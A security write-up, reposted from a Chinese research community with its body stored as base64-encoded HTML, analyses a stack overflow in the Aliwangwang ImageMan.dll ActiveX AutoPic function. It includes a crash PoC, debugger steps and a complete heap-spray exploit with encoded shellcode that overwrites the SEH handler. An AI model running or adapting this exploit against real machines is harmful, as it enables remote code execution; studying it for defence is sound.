分析某旺ActiveX控件ImageMan.dll栈溢出漏洞

PGgxIGlkPSJ0b2MtMCI+MHgx77ya5ryP5rSe5LuL57uNPC9oMT48cD7pmL/ph4zml7rml7pBY3RpdmVY5o6n5Lu2SW1hZ2VNYW4uZGxs5Yqo5oCB6ZO+5o6l5bqT5Lit5pyJ5LiA5Liq5Ye95pWwQXV0b1BpY++8jOeUseS6juacquWvueS8oOWFpeeahOWPguaVsOmVv+W6pui/m+ihjOagoemqjOWvvOiHtOagiOa6ouWHuu+8jOWcqOaLt+i0nee8k+WGsuWMuuaVsOaNruaXtuS8muivu+WPluWIsOS4jeWPr+eUqOWcsOWdgO+8jOS7juiAjOS9v+eoi+W6j+i/m+WFpVNFSOW8guW4uOWkhOeQhua1geeoi++8jOmAmui/h+iuoeeul+Wlvee8k+WGsuWMuuWIsFNFSOW8guW4uOWkhOeQhue7k+aehOeahOS9jee9rueUqOaMh+WumumVv+W6pueahOWtl+espuS4sueyvuehruimhuebllNFSOaMh+mSiOS7juiAjOaOp+WItueoi+W6j+aJp+ihjOa1geeoi+i+vuWIsOaJp+ihjOS7u+aEj+S7o+eggeeahOaViOaenOOAgjwvcD48aDEgaWQ9InRvYy0xIj4weDLvvJrmvI/mtJ7liIbmnpDnjq/looM8L2gxPjxwPuaTjeS9nOezu+e7n++8mndpbmRvd3NYUCBTUDM8YnIvPumYv+mHjOaXuuaXuueJiOacrO+8mkFsaUlNMjAxMF90YW9iYW8oNi41MC4wMEMpPGJyLz7osIPor5XlmajvvJpPRDwvcD48aDEgaWQ9InRvYy0yIj4weDPvvJrmvI/mtJ7lpI3njrA8L2gxPjxwPlBPQ+S7o+eggeWmguS4i++8mjwvcD48cHJlIGNsYXNzPSJicnVzaDpjcHA7dG9vbGJhcjpmYWxzZSI+PGh0bWw+CiZuYnNwOzxib2R5PgombmJzcDs8b2JqZWN0Jm5ic3A7Y2xhc3NpZD0iY2xzaWQ6MTI4RDBFMzgtMUZGNC00N0MzLUIwRjctMEJBRjkwRjU2OEJGIiZuYnNwO2lkPSJ0YXJnZXQiPjwvb2JqZWN0PgombmJzcDs8c2NyaXB0PgombmJzcDt2YXImbmJzcDtidWZmZXImbmJzcDs9Jm5ic3A7Jyc7CiZuYnNwO3doaWxlJm5ic3A7KGJ1ZmZlci5sZW5ndGgmbmJzcDs8Jm5ic3A7MTExMSkmbmJzcDtidWZmZXIrPSJBIjsKJm5ic3A7dGFyZ2V0LkF1dG9QaWMoYnVmZmVyLCJkZWZhdWx0ViIpOwombmJzcDs8L3NjcmlwdD4KJm5ic3A7PC9ib2R5Pgo8L2h0bWw+PC9wcmU+PHA+PGJyLz48L3A+PHA+5pCt5bu65aW9546v5aKD5ZCO77yM55SoT0TpmYTliqBJRea1j+iniOWZqOWQjkY56L+Q6KGMSUXvvIznlKhJReaJk+W8gFBPQ+aWh+S7tuWQjuaPkOekuuivu+WPluWIsOS6huS4gOS4quS4jeWPr+eUqOeahOWcsOWdgO+8jOWQjOaXtuWPr+S7peeci+WIsOWPs+S4i+inkueahOagiOWMuuiiq+i2hemVv+eahOWtl+espuS4suKAnUFBQS4uLi4uLu+8iGFzY2lp5Li6NDHvvInigJ3loavmu6HkuobvvIzlupTor6XmmK/lj5HnlJ/kuobnvJPlhrLljLrmuqLlh7rvvJo8L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzE5MzIvZjI2ZDcxMTA5MTY5ZTUxYWNlYTU3ZTU2ZGI0OGJmM2UucG5nIi8+PC9wPjxoMSBpZD0idG9jLTMiPjB4NO+8mua8j+a0nuWIhuaekDwvaDE+PHA+5oyJ4oCcQ3J0bCtGMuKAneeUqE9E6YeN5paw5Yqg6L295q2k5pe2SUXlubbov5DooYzvvIzlhYjkuI3liqDovb1QT0Pmlofku7bvvIzmjInigJxBTFQrReKAneaJk+W8gOaooeWdl+WIl+ihqOeEtuWQjuaJvuWIsE9MRUFVVDMy77yM5Y+M5Ye76L+b5YWl6K+l5qih5Z2X77yM5o6l552A5oyJ4oCcQ3J0bCtO4oCd5Zyo5Ye95pWw5YiX6KGo5Lit5om+5YiwRGlzcENhbGxGdW5j77yM5Y+M5Ye76L+b5YWl6K+l5Ye95pWw77yM5b6A5LiL5om+5Yiw4oCcY2FsbAogZWN44oCd5oyH5Luk77yM5Y+M5Ye75LiL5pat54K577yM54S25ZCO55SoSUXmtY/op4jlmajmiZPlvIBQT0Pmlofku7bvvIznqIvluo/kvJrmlq3lnKjkuYvliY3nmoTigJxjYWxsIGVjeOKAneWkhO+8mjwvcD48cD48YnIvPjwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMTkzMi8wMTQ2MzVmNDA3YWVmOTE3MTBjNDExMzhkYzk0OWVlYS5wbmciLz48L3A+PHA+PGJyLz48L3A+PHA+54S25ZCORjfljZXmraXov5vlhaXor6Xlh73mlbDvvIzmnaXliLDlh73mlbBBdXRvUGlj55qE5YWl5Y+j5aSE77yaPC9wPjxwPjxici8+PC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8xOTMyLzdmOGI5NzU2ZDVkOWI3OGJhNzMyYjM0ZjliZjY0ZThmLnBuZyIvPjwvcD48cD5GOOW+gOS4i+aJp+ihjOWwseeci+WIsOeUqOS6jumqjOivgee8k+WGsuWMuua6ouWHuueahOi2hemVv+Wtl+espuS4suKAnEFBQUEuLi4uLi7igJ06PC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8xOTMyLzBiOTA3ODJhZmM5ODBkMDFjMWU3MTM5OTM2ZWQxODI0LnBuZyIvPjwvcD48cD7mjqXnnYDlvoDkuIvotbDmnaXliLAweDEwMDExQ0FD77yM5rqi5Ye65bCx5Y+R55Sf5Zyo6L+Z6YeM77yaPC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8xOTMyLzY2OGE0NDljYzgwNzEwNDRmOWU0Mzc0ODUxMjYyOWE3LnBuZyIvPjwvcD48cD48YnIvPjwvcD48cD7lj6/ku6Xlj5HnjrDmi7fotJ3lrZfnrKbkuLLkuYvliY3mnKrlr7nlrZfnrKbkuLLplb/luqbov5vooYzmoKHpqozvvIzmnIDnu4jlr7zoh7TmuqLlh7rjgII8L3A+PHA+5Y+R55Sf5rqi5Ye65ZCO5aCG5qCI5bmz6KGh6KKr56C05Z2P77yM56iL5bqP5Ye6546w5byC5bi477yM5byA5aeL6L+b5YWl5byC5bi45aSE55CG5rWB56iL77yM55Sx5LqO57yT5Yay5Yy65Lit55qE5a2X56ym5Liy6ZW/5bqm6L+H6ZW/77yM6KaG55uW5LqG5qCI5Yy65Lit55qE5byC5bi45aSE55CG57uT5p6E5oyH6ZKI77yM5LqO5piv5Y+v5Lul6YCa6L+H57K+5b+D5p6E6YCg5Lyg5YWl55qE5a2X56ym5Liy77yM5o6n5Yi25aW96KaG55uW5byC5bi45aSE55CG57uT5p6E5oyH6ZKI55qE5a2X6IqC77yM5LuO6ICM5Zyo5rqi5Ye65Y+R55Sf5ZCO5o6n5Yi2ZWlw5Yiw5oyH5a6a5L2N572u5omn6KGMc2hlbGxjb2Rl44CCPC9wPjxwPjB4Ne+8mua8j+a0nuWIqeeUqDxici8+5ryP5rSe5Yip55So5Luj56CB77yIRVhQ77yJ5Y+C6ICD5LqG5rOJ5ZOl5YaZ55qE77yM5L2/55So55qE5oqA5pyv5piv5bi455So55qE5aCG5Za35bCE77yM5rqi5Ye65ZCO57K+56Gu6KaG55uWU0VI5oyH6ZKI77yM5b2T56iL5bqP5omn6KGM5byC5bi45aSE55CG57+w6IuP5pe25bCx5Lya6Lez6L2s5Yiw5oyH5a6a5Zyw5Z2A77yM6L+b5YWl5ZCO5aCG5Za35Luj56CB5ZCO5bCx5Y+v5Lul5omn6KGM5Lu75oSP5Luj56CBPC9wPjxwcmUgY2xhc3M9ImJydXNoOmNwcDt0b29sYmFyOmZhbHNlIj48aHRtbD4KPGJvZHk+CjxvYmplY3QmbmJzcDtjbGFzc2lkPSJjbHNpZDoxMjhEMEUzOC0xRkY0LTQ3QzMtQjBGNy0wQkFGOTBGNTY4QkYiJm5ic3A7aWQ9InRhcmdldCI+PC9vYmplY3Q+Jm5ic3A7CjxzY3JpcHQ+CgpzaGVsbGNvZGUmbmJzcDs9Jm5ic3A7dW5lc2NhcGUoCicldWM5MzEldWU5ODMldWQ5ZGUldWQ5ZWUldTI0NzQldTViZjQldTczODEldTNkMTMldTVlNDYldTgzOTUnKwonJXVmY2ViJXVmNGUyJXVhZWMxJXU5NTFhJXU0NjNkJXVkMGQ1JXVjZDAxJXU5MDIyJXU0NzQ1JXUxZWIxJysKJyV1NWU3MiV1Y2FkNSV1NDcxZCV1ZGNiNSV1NzJiNiV1OTRkNSV1NzdkMyV1MGM5ZSV1YzI5MSV1ZTE5ZScrCicldTg3M2EldTk4OTQldTg0M2MldTYxYjUldTEyMDYldTkxN2EldWEzNDgldWNhZDUldTQ3MTkldWYzYjUnKwonJXU0YWI2JXUxZTE1JXU1YTYyJXU3ZTVmJXU1YWI2JXU5NGQ1JXVjZmQ2JXViMTAyJXU4NTM5JXU1NTZmJysKJyV1Y2Q1OSV1YTUxZSV1ODZiOCV1OTkyNiV1MDZiNiV1MWU1MiV1NWE0ZCV1MWVmMyV1NGU1NSV1OWNiNScrCicldWM2YjYldTk1ZWUldTQ2M2QldWZkZDUldTE5MDEldTYzNmYldTEwNWQldTZkZDcldTg2YmUldWM1MjUnKwonJXUzODU1JXU3Nzg2JXUyZTRlJXU2YmM2JXU0OGI3JXU2YTA5JXUyNWRhJXVmOTNmJXU0NjVlJXU5NTVlJyk7Cgpub3BzPXVuZXNjYXBlKCcldTkwOTAldTkwOTAnKTsKaGVhZGVyc2l6ZSZuYnNwOz0yMDsKc2xhY2tzcGFjZT0mbmJzcDtoZWFkZXJzaXplJm5ic3A7KyZuYnNwO3NoZWxsY29kZS5sZW5ndGg7Cgp3aGlsZShub3BzLmxlbmd0aCZuYnNwOzwmbmJzcDtzbGFja3NwYWNlKSZuYnNwO25vcHMrPSZuYnNwO25vcHM7CmZpbGxibG9jaz0mbmJzcDtub3BzLnN1YnN0cmluZygwLCZuYnNwO3NsYWNrc3BhY2UpOwpibG9jaz0mbmJzcDtub3BzLnN1YnN0cmluZygwLCZuYnNwO25vcHMubGVuZ3RoLSZuYnNwO3NsYWNrc3BhY2UpOwoKd2hpbGUoJm5ic3A7YmxvY2subGVuZ3RoKyZuYnNwO3NsYWNrc3BhY2U8MHg1MDAwMCkmbmJzcDtibG9jaz0mbmJzcDtibG9jaysmbmJzcDtibG9jaysmbmJzcDtmaWxsYmxvY2s7Cm1lbW9yeT1uZXcmbmJzcDtBcnJheSgpOwoKZm9yKCZuYnNwO2NvdW50ZXI9MDsmbmJzcDtjb3VudGVyPDIwMDsmbmJzcDtjb3VudGVyKyspJm5ic3A7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO21lbW9yeVtjb3VudGVyXT0mbmJzcDtibG9jayZuYnNwOysmbmJzcDtzaGVsbGNvZGU7CnM9Jyc7CmZvcigmbmJzcDtjb3VudGVyPTA7Jm5ic3A7Y291bnRlcjw9MTAwMDsmbmJzcDtjb3VudGVyKyspJm5ic3A7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3MrPXVuZXNjYXBlKCIlMEQlMEQlMEQlMEQiKTsKCnRhcmdldC5BdXRvUGljKHMsImRlZmF1bHRWIik7Cgo8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+PC9wcmU+PHA+PGJyLz48L3A+PHA+5omT5byA6K+lSFRNTOmhtemdouWQjuWPr+S7peeci+WIsOaIkOWKn+W8ueWHuuS6huiuoeeul+WZqO+8mjwvcD48cD48YnIvPjwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMTkzMi83MjkzN2JiNWVjZDE2MGE0ZDcyNWE0OTgyMmJhZTI0ZS5wbmciLz48L3A+PHA+PGJyLz48L3A+PHA+6L2s6Ieq5YWI55+l56S+5Yy6PGJyLz48L3A+